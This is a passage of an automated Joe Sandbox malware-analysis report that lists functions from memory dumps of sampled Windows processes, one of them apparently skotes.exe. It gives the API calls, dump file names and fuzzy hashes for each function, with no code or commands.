Function 004DCBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,004DCF52,?,00000003,00000003,?,004DCF87,?,?,?,00000003,00000003,?,004DC4FD,004C2FB9,00000001), ref: 004DCC03

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 2942d4dfd87d62ec406510b532898731dea1630f8c6cb6005121200e0e0b3922
Instruction ID: c0566a7903bab03a1f02747472cd58365e9474e95ce45bfded43b0afdf6933ff
Opcode Fuzzy Hash: 2942d4dfd87d62ec406510b532898731dea1630f8c6cb6005121200e0e0b3922
Instruction Fuzzy Hash: 3AD02232B82038938A112B88EC008ADBB48CE02F743080113EA0953320CAB06C41BBDE

Function 004FA302 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 5e1a4c3abfb7ebc2ff9d10d34cd618c33c9f1f9dc0d9277a103c8dd84bfaec83
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 75E08CB292122CEBCB15DB99C9049AAF3ECEB49B18B65009BFA05D3250C274DE00C7D5

Function 004C2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 004C2F5F
GetCurrentThreadId.KERNEL32 ref: 004C2F7E
__Mtx_unlock.LIBCPMT ref: 004C2FCC
__Cnd_broadcast.LIBCPMT ref: 004C2FE3
__Mtx_unlock.LIBCPMT ref: 004C30F5
GetCurrentThreadId.KERNEL32 ref: 004C3132
__Mtx_unlock.LIBCPMT ref: 004C319B

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 6b9e61cf77891ea16064b968fd01e189aa362ed1f461dcaa16b6671fae9414a4
Instruction ID: ddaebfadf36875ba81dd60bd8cf93f898dd30cc720cfb2af91c566bcb4b43151
Opcode Fuzzy Hash: 6b9e61cf77891ea16064b968fd01e189aa362ed1f461dcaa16b6671fae9414a4
Instruction Fuzzy Hash: 2AA1EF75A002069FDB60DF66C944B6BB7A8FF14319F04816FE805D7341EB39EA04CB99

Function 004DBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 004DBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 004DBBE4
_xtime_get.LIBCPMT ref: 004DBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 004DBC13

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 5a521f8f513c4f00e316abfdae2eacdb11001b4d8b298c5536b9f13f97a13b08
Instruction ID: 791ed684df2926b27b1aa1c5d253a122f21d814798f0587ed75e32fde5c8aafe
Opcode Fuzzy Hash: 5a521f8f513c4f00e316abfdae2eacdb11001b4d8b298c5536b9f13f97a13b08
Instruction Fuzzy Hash: AD212C75A0010AAFDF00EFA5C895ABEB7B9EF08714F51401BF501A7391DB789D019BA4

Analysis Process: skotes.exePID: 6960, Parent PID: 5736COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	590
Total number of Limit Nodes:	4

Executed Functions

Function 0097652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0097652A,?,?,?,?,?,00977661), ref: 00976567

Memory Dump Source

Source File: 00000008.00000002.1948300017.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000008.00000002.1948274814.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948300017.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948387538.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948414125.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948445715.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948576154.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948602626.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948635845.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948661789.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948754550.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948780616.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948808211.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948835999.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948866354.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948895556.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948928189.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948955392.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948988212.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949014690.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949040607.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949067509.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949101787.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949128787.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949162627.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949189615.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949219120.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949249707.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949277317.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949304951.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949339881.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949370414.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949406424.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949511852.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949544278.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949580282.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949606804.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949636232.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949663397.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949689716.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949714811.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949741455.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949766984.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 0130e48bd910a24c32942d0b17827704bb983717eecedc3995f810405675709e
Instruction ID: 78e817084abb3e1ee890f4f185a131ae5108592937bde8bd653f7cba65543722
Opcode Fuzzy Hash: 0130e48bd910a24c32942d0b17827704bb983717eecedc3995f810405675709e
Instruction Fuzzy Hash: 45E08C32110548AFCE257F18D85DE9E3B2AEFA1745F008810F90C46622CB75DE82D680

Function 00949BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0094A963
CreateMutexA.KERNELBASE(00000000,00000000,009A3254), ref: 0094A981

Memory Dump Source

Source File: 00000008.00000002.1948300017.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000008.00000002.1948274814.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948300017.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948387538.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948414125.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
